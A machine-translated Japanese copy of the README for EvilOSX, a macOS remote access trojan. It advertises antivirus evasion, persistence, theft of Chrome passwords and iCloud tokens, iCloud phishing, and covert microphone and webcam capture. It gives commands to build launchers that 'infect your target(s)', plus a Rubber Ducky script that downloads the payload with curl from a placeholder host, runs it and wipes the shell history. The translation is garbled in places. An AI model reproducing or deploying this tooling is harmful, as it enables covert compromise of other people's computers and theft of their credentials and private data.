EvilOSX

evilosx

MacOS / OS Xの邪悪な​​ネズミ（リモート投与ツール）。

---

セドリック・オーウェンズによるマルコジェネレーター

このプロジェクトはもはやアクティブではありません

特徴

• 端子インスタンスをエミュレートします
• シンプルな拡張可能なモジュールシステム
• ボット依存関係なし（純粋なPython）
• アンチウイルス（OpenSSL AES-256暗号化されたペイロード）によって検出されない
• 持続的
• GUIおよびCLIサポート
• クロムパスワードを取得します
• iCloudトークンと連絡先を取得します
• クリップボードを取得/監視します
• ブラウザの履歴を取得する（Chrome and Safari）
• iTunes経由のiCloudパスワード用のPhish
• iTunes（iOS）バックアップ列挙
• マイクを記録します
• ウェブカメラを使用して、デスクトップスクリーンショットまたは画像を撮影します
• ローカル特権エスカレーションを介してルートを取得しようとします

使い方

 # Clone or download this repository
$ git clone https://github.com/Marten4n6/EvilOSX

# Go into the repository
$ cd EvilOSX

# Install dependencies required by the server
$ sudo pip install -r requirements.txt

# Start the GUI
$ python start.py

# Lastly, run a built launcher on your target(s)

警告：ターゲットシステムに固有のペイロードが作成されるため（サーバーによって自動的に）、ボットが初めて接続されたときにサーバーが実行されている必要があります。

上級ユーザー

SSHを介してこれを使用したい人のためのCLIもあります。

 # Create a launcher to infect your target(s)
$ python start.py --builder

# Start the CLI
$ python start.py --cli --port 1337

# Lastly, run a built launcher on your target(s) 

スクリーンショット

モチベーション

このプロジェクトは、私のゴム製ダッキーで使用されるように作成されました。これが簡単なスクリプトです。

 REM Download and execute EvilOSX @ https://github.com/Marten4n6/EvilOSX
REM See also: https://ducktoolkit.com/vidpid/

DELAY 1000
GUI SPACE
DELAY 500
STRING Termina
DELAY 1000
ENTER
DELAY 1500

REM Kill all terminals after x seconds
STRING screen -dm bash -c 'sleep 6; killall Terminal'
ENTER

STRING cd /tmp; curl -s HOST_TO_EVILOSX.py -o 1337.py; python 1337.py; history -cw; clear
ENTER

• バックドアロック解除されたMacをバックドアに約10秒かかります。
• Termina Lは意図的にそのように綴られています。一部のシステムでは、Spotlightはそれ以外の場合は端末が見つかりません。
  
• キーボードセットアップアシスタントをバイパスするには、ここにあるVID＆PIDを変更してください。
  アルミニウムキーボード（ISO）はおそらくあなたが探しているものです。

バージョン化

EviloSxは、セマンティックバージョンのガイドラインの下で可能な限り維持されます。
サーバーとボットのリリースには、次の形式で番号が付けられます。

 <major>.<minor>.<patch>

次のガイドラインで構築されています。

• 逆方向の互換性（古いボット付き）を破ると、メジャーがぶつかります
• 後方互換性を壊すことなく新しい追加が未成年者にぶつかります
• バグの修正とその他の変更パッチにぶつかります

Semverの詳細については、https：//semver.org/をご覧ください。

デザインノート

• マシンに感染することは、3つの部分に分割されます。
  • ランチャーがターゲットマシンで実行され、その唯一の目標はステージャーを実行することです
  • ステイガーは、ペイロードのロード方法を処理するローダーをサーバーに尋ねます
  • ローダーには、ユニークな暗号化されたペイロードが与えられ、ステイガーに送り返されます
• サーバーは、HTTP 404エラーページに隠されたメッセージを送信することにより、通信を隠します（Blackhatの「視線に隠れている」から）
  • コマンドリクエストは、getリクエストを介してサーバーから取得されます
  • コマンド応答は、POSTリクエストを介してサーバーに送信されます
• モジュールはPythonの動的な性質を活用します。それらは、構成オプションとともにZlibで圧縮されたネットワーク上に送信されます
• ボットはサーバーとのみ通信し、逆の方法ではないため、サーバーはボットがいつオフラインになるかを知る方法がありません

問題

ここで問題や機能のリクエストをお気軽に送信してください。

貢献

モジュールの作成方法に関する簡単なガイドについては、ここをクリックしてください。

クレジット

• 素晴らしい帝国プロジェクト
• 彼の素晴らしい講演のためにパトリック・ウォードルに叫ぶ、目的をチェックしてください -
• 彼のプロジェクトのためのManwhoami：osxchromedecrypt、mmetokendecrypt、iCloudContacts
  （今削除されました...あなたが再び登場したかどうか私に知らせてください）
• Slowlorisモジュールは、Pyslowlorisからほとんどコピーされています
• urwidとこのコードがCLIで私を大幅に節約しました
• Motusoraによって作成されたロゴ

ライセンス

GPLV3